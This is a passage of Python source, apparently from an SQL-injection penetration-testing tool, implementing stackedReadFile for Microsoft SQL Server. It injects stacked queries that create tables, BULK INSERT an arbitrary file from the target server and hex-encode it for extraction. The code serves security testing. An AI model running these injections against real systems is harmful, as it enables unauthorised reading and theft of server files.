(self, remoteFile)
| 85 | return chunkName |
| 86 | |
| 87 | def stackedReadFile(self, remoteFile): |
| 88 | if not kb.bruteMode: |
| 89 | infoMsg = "fetching file: '%s'" % remoteFile |
| 90 | logger.info(infoMsg) |
| 91 | |
| 92 | result = [] |
| 93 | txtTbl = self.fileTblName |
| 94 | hexTbl = "%s%shex" % (self.fileTblName, randomStr()) |
| 95 | |
| 96 | self.createSupportTbl(txtTbl, self.tblField, "text") |
| 97 | inject.goStacked("DROP TABLE %s" % hexTbl) |
| 98 | inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) |
| 99 | |
| 100 | logger.debug("loading the content of file '%s' into support table" % remoteFile) |
| 101 | inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, remoteFile, randomStr(10), randomStr(10)), silent=True) |
| 102 | |
| 103 | # Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829 |
| 104 | binToHexQuery = """DECLARE @charset VARCHAR(16) |
| 105 | DECLARE @counter INT |
| 106 | DECLARE @hexstr VARCHAR(4096) |
| 107 | DECLARE @length INT |
| 108 | DECLARE @chunk INT |
| 109 | |
| 110 | SET @charset = '0123456789ABCDEF' |
| 111 | SET @counter = 1 |
| 112 | SET @hexstr = '' |
| 113 | SET @length = (SELECT DATALENGTH(%s) FROM %s) |
| 114 | SET @chunk = 1024 |
| 115 | |
| 116 | WHILE (@counter <= @length) |
| 117 | BEGIN |
| 118 | DECLARE @tempint INT |
| 119 | DECLARE @firstint INT |
| 120 | DECLARE @secondint INT |
| 121 | |
| 122 | SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) |
| 123 | SET @firstint = floor(@tempint/16) |
| 124 | SET @secondint = @tempint - (@firstint * 16) |
| 125 | SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) |
| 126 | |
| 127 | SET @counter = @counter + 1 |
| 128 | |
| 129 | IF @counter %% @chunk = 0 |
| 130 | BEGIN |
| 131 | INSERT INTO %s(%s) VALUES(@hexstr) |
| 132 | SET @hexstr = '' |
| 133 | END |
| 134 | END |
| 135 | |
| 136 | IF @counter %% (@chunk) != 0 |
| 137 | BEGIN |
| 138 | INSERT INTO %s(%s) VALUES(@hexstr) |
| 139 | END |
| 140 | """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) |
| 141 | |
| 142 | binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") |
| 143 | inject.goStacked(binToHexQuery) |
| 144 |
nothing calls this directly
no test coverage detected